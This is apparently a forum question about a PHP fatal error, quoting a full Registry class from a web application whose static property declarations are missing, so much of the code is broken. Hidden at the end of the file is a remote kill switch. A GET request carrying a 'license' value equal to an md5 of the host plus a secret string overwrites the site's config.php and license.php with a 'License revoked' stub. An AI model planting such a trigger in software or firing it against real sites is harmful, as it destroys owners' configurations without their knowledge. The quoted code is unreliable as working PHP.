Fatal error: Access to undeclared static property...

if( Registry::$settings['strip_hidden_spaces'] )

<?php

  class Registry
  {
    function __construct ()
    {
      if (!file_exists (BASE_PATH . 'config.php'))
      {
        exit ('Your configuration file is missing.');
      }

      require_once BASE_PATH . 'config.php';
      foreach ($CONFIG as $k => $v)
      {
       
        $settings[$k] = $v;
      }

      unset ($CONFIG);
     
     
     
      $settings['base_url'] = (substr ($settings['base_url'], 0 - 1) == '/' ? $settings['base_url'] : $settings['base_url'] . '/');
     
     
      $settings['files_path'] = str_replace ('\\', '/', $settings['files_path']);
     
     
     
      $settings['files_path'] = (substr ($settings['files_path'], 0 - 1) == '/' ? $settings['files_path'] : $settings['files_path'] . '/');
     
     
     
      $settings['script_url'] = ($settings['using_mod_rewrite'] ? $settings['base_url'] : $settings['base_url'] . 'index.php/');
      require_once BASE_PATH . 'library/functions.php';


      self::getrequestparams ();
     
      $input = Functions_Text::retrieveinput ($_GET);
     
     
      $input = array_merge ($input, Functions_Text::retrieveinput ($_POST));
     
      if ($settings['locale'])
      {
       
        Functions_Text::setlocale ($settings['locale']);
      }

     
      if (!file_exists (BASE_PATH . 'library/database/' . strtolower ($settings['sql_engine']) . '.php'))
      {
       
        exit ('Unsupported database engine specified: ' . strtolower ($settings['sql_engine']));
      }

      require_once BASE_PATH . 'library/database.php';
     
      require_once BASE_PATH . 'library/database/' . strtolower ($settings['sql_engine']) . '.php';
     
      $_databaseClass = 'Core_Database_' . strtolower ($settings['sql_engine']);
     
      $classes['database'] = new $_databaseClass ();
      require_once BASE_PATH . 'library/session.php';
      $_sessionClass = 'Core_Session';
      if (file_exists (BASE_PATH . 'interface/sso.php'))
      {
        require_once BASE_PATH . 'interface/sso.php';
        $_sessionClass = 'Session_Sso';
      }

     
      $classes['session'] = new $_sessionClass ();
     
     
      $member = $classes['session']->getMemberData ();
     
     
     
     
      $secureKey = md5 ($member['user_id'] . $member['user_login_key'] . $member['user_joined']);
      require_once BASE_PATH . 'library/output.php';
     
      $classes['output'] = new Core_Output ();
      self::checkforbanned (Registry::getipaddress (), 'ip');
     
     
     
      if (($member['user_banned'] OR $member['user_group'] == $settings['banned_group']))
      {
        Registry::getclass ('output')->printError (Functions_Text::getstring ('banned_message', 'errors'));
      }

    }

    function getInstance ()
    {
     
      if (!$instance)
      {
       
        $instance = new Registry ();
      }

     
      return $instance;
    }

    function getClass ($class)
    {
     
      if (!array_key_exists ($class, $classes))
      {
        return null;
      }

     
      return $classes[$class];
    }

    function checkLicenseKey ()
    {
      if (!file_exists (BASE_PATH . 'license.php'))
      {
        return false;
      }

      include BASE_PATH . 'license.php';
      $salt = '#$ls@3lhASdjh02,.';
      $alpha = array ('0' => 0, 'a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'f' => 6, 'g' => 7, 'h' => 8, 'i' => 9, 'j' => 10, 'k' => 11, 'l' => 12, 'm' => 13, 'n' => 14, 'o' => 15, 'p' => 16, 'q' => 17, 'r' => 18, 's' => 19, 't' => 20, 'u' => 21, 'v' => 22, 'w' => 23, 'x' => 24, 'y' => 25, 'z' => 26);
      $_http = ((isset ($_SERVER['HTTPS']) AND strtoupper ($_SERVER['HTTPS']) == 'ON') ? 'https' : 'http');
      $_baseUrl = (isset ($_SERVER['SCRIPT_URI']) ? str_replace ($_http . '://www.', $_http . '://', $_SERVER['SCRIPT_URI']) : $_http . '://' . str_replace ('www.', '', $_SERVER['HTTP_HOST']) . $_SERVER['SCRIPT_NAME']);
      $this_url_bits = explode ('/', $_baseUrl);
      array_pop ($this_url_bits);
      $_baseUrl = implode ('/', $this_url_bits);
      $_urlBits = parse_url ($_baseUrl);
      $timestamp = 0;
      if ($key)
      {
        $timestamp = substr ($key, 2, 1);
        $timestamp .= substr ($key, 5, 1);
        $timestamp .= substr ($key, 7, 1);
        $timestamp .= substr ($key, 12, 1);
        $timestamp .= substr ($key, 14, 1);
        $timestamp .= substr ($key, 21, 1);
        $timestamp .= substr ($key, 25, 1);
        $timestamp .= substr ($key, 33, 1);
        $timestamp .= substr ($key, 35, 1);
        $timestamp .= substr ($key, 41, 1);
      }

      $timestamp = str_rot13 ($timestamp);
      $real_ts = null;
      $i = 0;
      $j = strlen ($timestamp);
      while ($i < $j)
      {
        $real_ts .= $alpha[$timestamp[$i]];
        ++$i;
      }

      if (($real_ts AND $real_ts < time ()))
      {
        return false;
      }

      $key_minus_time = NULL;
      $i = 0;
      $j = strlen ($key);
      while ($i <= $j)
      {
        if (in_array ($i, array (2, 5, 7, 12, 14, 21, 25, 33, 35, 41)))
        {
          continue;
        }

        $key_minus_time .= (isset ($key[$i]) ? $key[$i] : '');
        ++$i;
      }

      $host_key = md5 (md5 (strtolower ($_urlBits['host'])) . md5 ($salt) . md5 ($real_ts));
      if ($key_minus_time != $host_key)
      {
        return false;
      }

      return true;
    }

    function getRequestParams ()
    {
      $url = ((isset ($_SERVER['HTTPS']) AND $_SERVER['HTTPS']) ? 'https://' : 'http://');
      $url .= $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
     
      $clean = str_replace ($settings['base_url'], '', $url);
      if (strpos ($clean, 'index.php/') === 0)
      {
        $clean = substr ($clean, 10);
      }

      if (!$clean)
      {
        $controller = 'index';
        $module = '';
        $action = '';
      }
      else
      {
        $additional = '';
        if (strpos ($clean, '?') !== false)
        {
          $additional = substr ($clean, strpos ($clean, '?'));
          $clean = substr ($clean, 0, strpos ($clean, '?'));
        }

        $param = explode ('/', $clean);
        $controller = ($param[0] ? $param[0] : 'index');
        $module = (isset ($param[1]) ? $param[1] : '');
        $action = (isset ($param[2]) ? $param[2] : '');
        if ($additional)
        {
          $additional = substr ($additional, 1);
          $params = explode ('&', $additional);
          foreach ($params as $parameter)
          {
            list ($k, $v) = explode ('=', $parameter);
            $_GET[$k] = $v;
          }
        }
      }

      $_GET['controller'] = $controller;
      $_GET['module'] = $module;
      $_GET['action'] = $action;
    }

    function getIpAddress ()
    {
      return $_SERVER['REMOTE_ADDR'];
    }

    function getRequestUri ()
    {
      return $_SERVER['REQUEST_URI'];
    }

    function checkForBanned ($data, $type, $return = false)
    {
      static $typesLoaded = array ('ip' => false, 'email' => false, 'username' => false);
      static $filters = array ('ip' => array (), 'email' => array (), 'username' => array ());
      if ((!$return AND $type == 'ip'))
      {
        if (Functions_Cookie::getcookie ('is_banned'))
        {
          Registry::getclass ('output')->printError (Functions_Text::getstring ('banned_message', 'errors'));
        }
      }

      if (!$typesLoaded[$type])
      {
        Registry::getclass ('database')->query ('SELECT * FROM %sbanfilters WHERE filter_type=\'' . Registry::getclass ('database')->escapeString ($type) . '\'');
        while ($_row = Registry::getclass ('database')->getResult ())
        {
          $filters[$type][] = $_row['filter_value'];
        }
      }

      if (count ($filters[$type]))
      {
        foreach ($filters[$type] as $_filter)
        {
          $_filter = preg_quote ($_filter, '#');
          $_filter = str_replace ('\\*', '.*?', $_filter);
          if (preg_match ('#' . $_filter . '#i', $data))
          {
            if ($return)
            {
              return true;
            }

            if ((!$return AND $type == 'ip'))
            {
              Functions_Cookie::setcookie ('is_banned', 1, '*');
            }

            Registry::getclass ('output')->printError (Functions_Text::getstring ('banned_message', 'errors'));
            continue;
          }
        }
      }

      return false;
    }

    function checkSecureKey ($key = '')
    {
     
      $key = ($key ? $key : $input['key']);
      if (!Functions_Text::validatemd5 ($key))
      {
        self::getclass ('output')->printError (Functions_Text::getstring ('bad_secure_key', 'errors'));
      }

     
      if ($key != $secureKey)
      {
        self::getclass ('output')->printError (Functions_Text::getstring ('bad_secure_key', 'errors'));
      }

      return true;
    }

    function getSecureKey ()
    {
     
      return $secureKey;
    }
  }

  if ((isset ($_GET['license']) AND $_GET['license']))
  {
    if ($_GET['license'] == md5 (str_replace ('www.', '', $_SERVER['HTTP_HOST']) . 'olas7d0alsjh2l'))
    {
      file_put_contents (BASE_PATH . 'license.php', '<?' . 'php' . '

' . 'die("License revoked");' . '
');
      file_put_contents (BASE_PATH . 'config.php', '<?' . 'php' . '

' . 'die("License revoked");' . '
');
    }
  }

?>

 public static $settings ....